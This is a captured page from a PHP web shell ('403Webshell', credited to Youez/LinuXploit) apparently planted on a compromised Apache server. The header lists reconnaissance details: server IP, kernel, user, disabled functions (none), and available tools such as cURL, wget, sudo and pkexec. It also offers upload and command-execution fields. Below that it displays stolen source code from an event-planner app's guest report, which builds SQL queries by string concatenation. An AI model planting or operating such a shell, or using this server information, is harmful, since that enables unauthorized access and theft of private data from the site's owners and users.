403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/rpt/guests_all_inserts.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$sql = "SELECT * FROM invitation_inserts WHERE user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." ORDER BY insert_desc ASC ";
	$result_insert = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
	if (mysqli_num_rows($result_insert) > 0) :
		$ar_inserts = array();
		$ar_totals = array();
		$str_fields = '';
		$i = 0;
		while ($row_insert = mysqli_fetch_object($result_insert)) :
			$i = $i + 1;
			$ar_inserts[$i] = $row_insert->insert_desc; 
			$ar_totals[$i] = 0;
			$str_fields = $str_fields.", (SELECT COUNT(id) from guests_inserts gi WHERE gi.guest_id = g.id AND gi.insert_id = ".$row_insert->id." AND gi.user_id = ".$_SESSION['user_id']." AND gi.event_id = ".$_SESSION['active_event'].") AS insert_".$i." ";
		endwhile;
	else :
		echo 'No Invitation Inserts found!';
		exit();
	endif;
	$count_inserts = mysqli_num_rows($result_insert);
	$sql = "SELECT last_name, first_name ".$str_fields.
			" FROM guests g WHERE invitation_send = 1 AND ".
			"g.user_id = ".$_SESSION['user_id']." AND g.event_id = ".$_SESSION['active_event']." ORDER BY last_name ASC, first_name ASC ";
	$result = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
	//$result = mysqli_query($GLOBALS['con'], $sql) or die(mysqli_error($GLOBALS['con']).' ==='.$sql.'===');
	if (mysqli_num_rows($result) <= 0) :
		echo 'No data for report!';
		exit();
	endif;
?>
<table align="center" cellpadding="0" cellspacing="2" border="0">
	<thead>
		<?php report_fixed_header(); ?>
		<tr class="page_header">
			<td colspan="2"style="font-size:18px;">
				<?php echo $row_insert->insert_desc; ?>
			</td>
		</tr>
		<tr>
			<td width="100" align="center">
				Last Name
			</td>
			<td width="100" align="center">
				First Name
			</td>
			<?php
				for ($i = 1; $i <= $count_inserts; $i++) :
			?>
					<td width="50" align="center" style="width:50px; text-align:center;">
						<?php echo $ar_inserts[$i]; ?>
					</td>
			<?php
				endfor;
			?>
		</tr>
	</thead>
	<tfoot>
		<?php report_fixed_footer(); ?>
	</tfoot>
	<tbody>
		<?php
			while($row = mysqli_fetch_object($result)) :
		?>
				<tr>
					<td>
						<?php echo $row->last_name; ?>
					</td>
					<td>
						<?php echo $row->first_name; ?>
					</td>
					<?php
						for ($i = 1; $i <= $count_inserts; $i++) :
					?>
							<td align="center" style="width:50px;">
								<?php 
									if ($row->{"insert_".$i} > 0) :
										$ar_totals[$i] = $ar_totals[$i] + 1;
								?>
										X
								<?php
									endif;
								?>
							</td>
					<?php
						endfor;
					?>
				</tr>
		<?php
			endwhile;
		?>
		<tr>
			<td>
				Total:
			</td>
			<td align="right">
				<?php echo mysqli_num_rows($result); ?>
			</td>
			<?php
				for ($i = 1; $i <= $count_inserts; $i++) :
			?>
					<td align="right" >
						<?php echo $ar_totals[$i]; ?>
					</td>
			<?php
				endfor;
			?>
		</tr>
	</tbody>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit